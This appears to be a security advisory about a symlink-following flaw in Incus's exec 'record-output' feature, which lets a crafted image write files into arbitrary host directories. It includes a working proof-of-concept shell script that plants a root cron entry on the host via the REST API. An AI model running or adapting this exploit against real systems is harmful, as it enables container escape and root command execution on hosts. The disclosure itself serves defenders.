Summary The "record-output" parameter of the "/instances/$name/exec" endpoint stores the output of the command in the "exec-output" directory of the instance. If "exec-output" is a symlink, file named "exec_UUID.stdout" and "exec_UUID.stderr" can be written to an arbitrary location where the ".stdout" file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Details When an image is unpacked, top-level symlinks are extracted as is; allowing for "exec-output" to be placed on disk. In "instance_exec.go", "os.Mkdir" continues of "exec-output" exists and "os.OpenFile" follows the "exec-output" symlink. PoC Below, we place the "exec_UUID.stdout" file in "/etc/cron.d" on the host for arbitrary command execution. #!/bin/sh usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket -X POST -H 'Content-Type: application/json' -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} ; Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.